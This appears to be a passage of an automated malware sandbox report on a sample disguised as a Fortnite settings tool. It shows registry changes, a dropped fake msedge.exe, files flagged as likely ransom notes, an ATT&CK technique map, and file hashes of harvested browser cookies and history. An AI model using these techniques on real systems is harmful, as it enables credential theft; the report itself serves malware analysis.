- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "TaskbarAnimations" /t REG_DWORD /d 0 /f
    3⤵
    PID:548
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4692
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ListviewAlphaSelect" /t REG_DWORD /d 0 /f
    3⤵
    PID:2900
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5836
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "EnableBalloonTips" /t REG_DWORD /d "0" /f
    3⤵
    PID:4768
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5984
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "DisallowShaking" /t REG_DWORD /d "1" /f
    3⤵
    PID:556
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3768
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\People" /v "PeopleBand" /t REG_DWORD /d "0" /f
    3⤵
    PID:1932
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5932
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\System" /v "EnableActivityFeed" /t REG_DWORD /d "0" /f
    3⤵
    PID:2112
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5464
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowTaskViewButton" /t REG_DWORD /d "0" /f
    3⤵
    PID:6048
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3080
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider" /v "RestoreConnection" /t REG_DWORD /d 0 /f
    3⤵
    PID:3512
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:6072
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAMeetNow" /t REG_dWORD /d 1 /f
    3⤵
    PID:5200
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5772
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Feeds" /v "ShellFeedsTaskbarViewMode" /t REG_DWORD /d 2 /f
    3⤵
    PID:5036
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2120
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\CloudContent" /v DisableSoftLanding /t REG_DWORD /d 1 /f
    3⤵
    PID:5876
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5128
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v "LongPathsEnabled" /t REG_DWORD /d "1" /f
    3⤵
    PID:5784
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4604
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSyncProviderNotifications" /t REG_DWORD /d "0" /f
    3⤵
    PID:4796
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5328
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t REG_DWORD /d "0" /f
    3⤵
    PID:3528
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t REG_DWORD /d "0" /f
    3⤵
    PID:5220
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main" /v "Theme" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies registry class
    PID:5792
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5440
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKEY_USERS\.DEFAULT\Control Panel\Keyboard" /v InitialKeyboardIndicators /t REG_SZ /d "2147483650" /f
    3⤵
    - Modifies data under HKEY_USERS
    PID:5980
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Control Panel\Keyboard" /v "KeyboardSpeed" /t REG_SZ /d "31" /f
    3⤵
    PID:3632
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKEY_USERS\.DEFAULT\Control Panel\Keyboard" /v "InitialKeyboardIndicators" /t REG_SZ /d "2" /f
    3⤵
    - Modifies data under HKEY_USERS
    PID:4928
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Control Panel\Keyboard" /v "InitialKeyboardIndicators" /t REG_SZ /d "2" /f
    3⤵
    PID:5184
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKEY_USERS\.DEFAULT\Control Panel\Keyboard" /v "KeyboardDelay" /t REG_SZ /d "0" /f
    3⤵
    - Modifies data under HKEY_USERS
    PID:5040
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKEY_USERS\.DEFAULT\Control Panel\Keyboard" /v "KeyboardSpeed" /t REG_SZ /d "31" /f
    3⤵
    - Modifies data under HKEY_USERS
    PID:980
- - C:\Windows\system32\PING.EXE
    ping ping-nac.ds.on.epicgames.com -n 25
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5812
- - C:\Windows\system32\timeout.exe
    timeout 2
    3⤵
    - Delays execution with timeout.exe
    PID:5020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2480 /prefetch:2
  2⤵
  PID:5740

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4796

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2072

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{F32D97DF-E3E5-4CB9-9E3E-0EB5B4E49801}
1⤵
PID:5032

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5280

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5336

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:384

C:\exm\FortniteSettings\FortniteSettings.exe
"C:\exm\FortniteSettings\FortniteSettings.exe"
1⤵
- Executes dropped EXE
PID:2244
- C:\exm\FortniteSettings\FortniteSettings.exe
  "C:\exm\FortniteSettings\FortniteSettings.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:3340

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4268

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3528

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\FortniteGame\Saved\Config\WindowsClient\GameUserSettingsDocumentation.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:5984

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\FortniteGame\Saved\Config\WindowsClient\FNsettingsmanager\pgmconfig.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:1232

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5988

C:\exm\FortniteSettings\FortniteSettings.exe
"C:\exm\FortniteSettings\FortniteSettings.exe"
1⤵
- Executes dropped EXE
PID:2880
- C:\exm\FortniteSettings\FortniteSettings.exe
  "C:\exm\FortniteSettings\FortniteSettings.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:6336

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6524

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6752

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3932

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4516

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5996

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1476

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5312

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5916

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2724

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5544

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
PID:5044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\Admin@UIJZGLAR_en-US\Browsers\Edge\Cookies.txt

Filesize
1KB

MD5
3641de2763413c3ff1bbd018251c6f94

SHA1
2cd84366be139ad49acd00294f2e2efcc38a18bd

SHA256
0cf5cc69dedd9e4c8fa9a1c2c43836a090b8eb7d51f70a8242fc692b3d69b98e

SHA512
ed7ac9ff19cf1434c9f7dab9928f1bcd02a6ad872ab59799a5d7c3c1a48dc35ae4a345e35d92da19100e13974102e3cd6ce3e7a7596cce4f4efcd48f7fe6dd5b

Download Submit
C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\Admin@UIJZGLAR_en-US\Browsers\Edge\History.txt

Filesize
883B

MD5
2b8554f6f582794d07e7b7f5770877c3

SHA1
ea2a166c6535caa058f8cfcdea41e773419d94a3

SHA256
ece386806b3c13b88032ab8daae3f9ece639c5fb6fbdb5848a5b8f3a15602c12

SHA512
35e20aeee751f378d466963e76311d9dbaf68ca449cf8e3690353db054501c98a4bf0f41fd6e40486faf0fce111dab07356f06e79c9b90a538813aef147fa018

Download Submit
C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\Admin@UIJZGLAR_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\Admin@UIJZGLAR_en-US\System\Process.txt

Filesize
4KB

MD5
6f875c903465ddc4f2c05bc979150319

SHA1
a2f12cf87862ff55884a23292278095df8d2ed99

SHA256
0b7ff5490ed78939a721dc56326b3abd6923c4997aab2e89d5c60073d560a5f4

SHA512
37ba85d78d2519a995bdeb46749fab26dcabe17ceaee67eae712ed41402e76aded113ee7a107d0720d0eaeaa7f26d38221d810194b8cd40c747c75dbf3f4f16b

Download Submit
C:\Users\Admin\AppData\Local\29ccd8ab9f4cfbe524edc3d0d7b48ba1\msgid.dat

Filesize
5B

MD5
028188166d8e2bfc87cadf1a1abe429f

SHA1
5141709f6a688fe8418fc0b8946f73d0c4891153

SHA256
9b838f3485481578b3dd8ec59a9424b4268b7462017f6258330d4e8b1a59f013

SHA512
b8a2babea72f1a1c1d3261717978b8629c08823c4ff0a54ae261c0d26753ec6b5016c768aac423ff65a21fc6356b851653b1c068f63c42197e4e4380ab73ad0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msedge.exe.log

Filesize
654B

MD5
11c6e74f0561678d2cf7fc075a6cc00c

SHA1
535ee79ba978554abcb98c566235805e7ea18490

SHA256
d39a78fabca39532fcb85ce908781a75132e1bd01cc50a3b290dd87127837d63

SHA512
32c63d67bf512b42e7f57f71287b354200126cb417ef9d869c72e0b9388a7c2f5e3b61f303f1353baa1bf482d0f17e06e23c9f50b2f1babd4d958b6da19c40b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
713ad359b75fe6d947468ec1825202b9

SHA1
19dcd19f18a2ad6deb581451aad724bd44a592a4

SHA256
56572269ec031c63d966c6d3b4712600b908d38826c59c0f9a8225d0a783e9f4

SHA512
4df344dec422bed85b186909dc7f9c35126b3bb45e100f18fb95b4a9943ace242479adf5f0194b054d38b67032498f897a5a54b49026efee0c4797cb5a5e54e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
5d9c9a841c4d3c390d06a3cc8d508ae6

SHA1
052145bf6c75ab8d907fc83b33ef0af2173a313f

SHA256
915ea0e3e872d2b2e7d0e0ca30f282675139c787fec8043a6e92b9ef68b4f67d

SHA512
8243684857e1c359872b8e795a0e5f2ee56b0c0c1e1c7e5d264c2c28476e9830981bb95244f44c3b2ed334c3e1228f3d6245cce2f3d1f34cdbce8e2af55b4c85

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e87625b4a77de67df5a963bf1f1b9f24

SHA1
727c79941debbd77b12d0a016164bae1dd3f127c

SHA256
07ecc7bd328990f44b189112a1a738861b0f4528097d4371e1ab0c46d8819f4e

SHA512
000d74220ba78628b727441c1b3f8813eec7fc97ff9aa6963eb2ab08d09525fa03935b32e86458c42e573b828a22b0b229af02b47eee511dc83de4ed3b5e726b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\1e2cc8f0-759c-4f32-8d05-f457418d9196.tmp

Filesize
24KB

MD5
364592d2cc18adf665987584bf528cba

SHA1
d1225b2b8ee4038b0c42229833acc543deeab0f6

SHA256
bd97dd6797bb763681cfb1fc3cc21a44a273aab1d9a4f4f9332675c662d2136c

SHA512
0e852db825e451464cbcfda95eae2dfe780874bd20e7b467604962428007d1735ece752aa5901d468708a68d66d029271d5567b39c530d2d44b875abbff9aa40

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
daebb9aa4ba326c43035078bff6707fc

SHA1
3b3dbd3d9e85b59a9485c16ca867fe49cfa6992d

SHA256
21c5133e08f5bc2a80eb2680e2ca65794579531e06a64868cefd8139b7223e8e

SHA512
e139ac123b402efd4952d33ad1d68947757f398627712d4eec1549df25f34ea6cd1ae3356166c865ac6cee11df61534446421243221b7e22a650909fcecc1ae9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
384B

MD5
d223648d8fcb331dc141c6c03d8ca8d5

SHA1
941b6a68b5dcc7dcb85eec0da4baf8b5a8a9717e

SHA256
d4f74376a15af588440f4536d3fe68bf2ca04ff8e90275ee904d37625f92aeb4

SHA512
0ef4e9e68f533c6d438825f80886bd192dc0f7406e12c28d5d8a526b3b4607c04f60187bd29a5a3c0fbc759a09a0361cd72b18d0ba6b6744bb7095d7d71ad979

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
72211aa293dac3ba5f24f45a8ff4eb1e

SHA1
f5f017375aa30e7b2e88d8940c0aa8ef7b9113bf

SHA256
5928de13a17e8e2f115dd501bc706a1cb59148bc37dc3a695cf2b89519279d21

SHA512
3d1b680fa86198c0a85baeec77c3657b36ba26a00ac00dbe7c287c3ca01f1e17fca7120fa0f8fc559732d54ac290e69ba3850cd91f05742c0be307292da1b540

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Filesize
70KB

MD5
e5e3377341056643b0494b6842c0b544

SHA1
d53fd8e256ec9d5cef8ef5387872e544a2df9108

SHA256
e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

SHA512
83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
124KB

MD5
46c1de1047da395f16f108960df46001

SHA1
49832b2716d031bfa01242f1d63fe65cbc57fd39

SHA256
c1dc69004ced6127305aadfee3ae59ba4a19c1cdde2915b7ff83c5e9077d6c76

SHA512
dac9f00b255d80c9232a272ccc25cbdd9fa958460973cef397c49867429c0e128f801f2ef2371a6aff87768559794c6d2c0a6a3d2f69e646c9ae690ae58f0b45

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
d73dcbb49df6245d2fe721801af54a0d

SHA1
83ddc94c67ccb7d5507cc0d7891be621915c91f1

SHA256
029734695cb1dd1bbf306670b6e8e8633f7b919a365c3ee9684525d6522ed666

SHA512
8ecb09c56521d0a99a98206728cdda4e6ea40d1e1dc38d476fc45ac305501e12e6f4ee61011ff193924efa99944463f5ad32966ec9f79c4a1f75e73f239f09ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
6b29b789ee92da979c3e9cf7d20d78ff

SHA1
1e81ed350e8ee4c3dfc660602dd1845248d3875b

SHA256
a9daab413b25b02dee875c2d0d3351e30bd1e7b2e8945cf930607cdcd7aab6af

SHA512
89452b94eda4e965873e47a3873b6576f93ba9b15726281c6e6e1e0d755a5dc1dbc40e947b384a8e24f589fa5a18902b9854b2ed644382a6c0ccef9dcabd6e7f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
e6bfa62527ec5a9e3b72f900db07f323

SHA1
38c808fc5fb99f20985020429009749670fd7877

SHA256
bbb39c761421d851fa07c79ce29c0bf64743f4786b54cc1968ffe6edaa726a48

SHA512
4cb46d739d2a5b50be9d1be4ce04127a8cf4f0cdc8da37f117b5c4ac37937e8bfe30b5af33bbe372518739161aebb5e367d9d1ef2f27d524987572c7759d6e4b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
5f80edce6e2ecfea16dfd5d00a234678

SHA1
9b3533e840629e28e7b496028688f58e6b542dc2

SHA256
6333cf6d11699ec4a29515b7bba54d1080a874ac16442a2bb31e8d323e810da5

SHA512
3e16d883d53ce4af644376866a28868d7419d0b4c8df35bf8cb966cc341693dc65f98758e6667b2ba165cfcb2aadef51ca4032fc40678f1a53fcc5f8598c4d84

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
9c7e2791c5993e6d8a3b20ff07ad2c65

SHA1
49b4f75288b60fe18082a2536fb96cfa4598f058

SHA256
68a6dfb2011009a6308f43ad9359e010a141a73277d009aef8659f3e2417e0b6

SHA512
c08bedbbede5491120fa205bcd7928deedb03ce2b43d1e85dcc3df30e90a73438178cc0b74f631dbdd63b4e855756e7a46bd4552d158ce70118de648c9e3b432

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
137094a3453899bc0bc86df52edd9186

SHA1
66bc2c2b45b63826bb233156bab8ce31c593ba99

SHA256
72d823cac2d49660cdd20ebf4d3ac222c4dd15aae6e5ac4a64f993ef5c4fdd44

SHA512
f8f149c9eab06e8d7e1aa62145f0fc588dc36fc521ef4dceceb80a191b72d79586d920feb5f3b1d19595109cc6d608c143e32f521a4da1068c708a2538899ada

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
c6e3804030cd8032ae9dfc2368d1f648

SHA1
fd42ba7733c4ba55835f7d0d5c72328c0b4c0f64

SHA256
aaa152e4cadd5943832393c8c07c64e7b82e5b9567fd152ffedb1e334df83fcd

SHA512
4c6bce1838ecbbba5382549699521725f1160ae0fa909fec6c3e40d1384a46c5df8ab9d31352cbea45497dd9652b0e306767a15f614a0796973c8b6ee139c3dd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe5859f2.TMP

Filesize
1KB

MD5
772e71cc9031183decef62ad37bed0ae

SHA1
8a85898bf7711f7a0d62329f786b8ef9bf9bc874

SHA256
9130f0d755299f9b4b2133d0820707d1f318f1815931544a5557045e7835a00f

SHA512
b4e4740c7b5352c87527ec416c83888da0eaf74c1957aaab5e0e1caeb88054b6840ff67703bf767322f19672d5bd28d8cd1004cb8647e1e66c80dfa8a3053a2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
6c06372b8046aa4373102348bdad205d

SHA1
91f272ed7e56a0250494cccf0101d660c9ae2422

SHA256
7dca00afd8de0748884a7c96dbdcfa55d53997ff7703067eb306461678180a2d

SHA512
5a88cd677972dde1794fcbbf3905d02904c3fdde50bb82924650ae89d209b943830cd55db0856145c6805e45534afbc6d1fbff58a39f05f1447c5eccde77c7b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
7189e96565d41f7d37b9569b0dabceb3

SHA1
79d3b4897e708d2891d15c9c8662aaa22b7bee39

SHA256
fcb1c2a50e2746acce96a1ba353f714387613159f2a714ef6ccd70420dadfef6

SHA512
9a250c47d94e46d29b4c57b4324af5ffa84b19624b7bf976fe59ae37a7673400ceba454a733f85e6d1622021752ab0c8c2e25287ed4c0e45dbd6a79c37644e99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
83e2daf81e67294ce7e02eaf70271aac

SHA1
15d50093ed9d57e229adac299f3f9d3b1139c165

SHA256
d328fb035133258f28159d117c05edef12f1a73636765b2aec9961f2f992aa13

SHA512
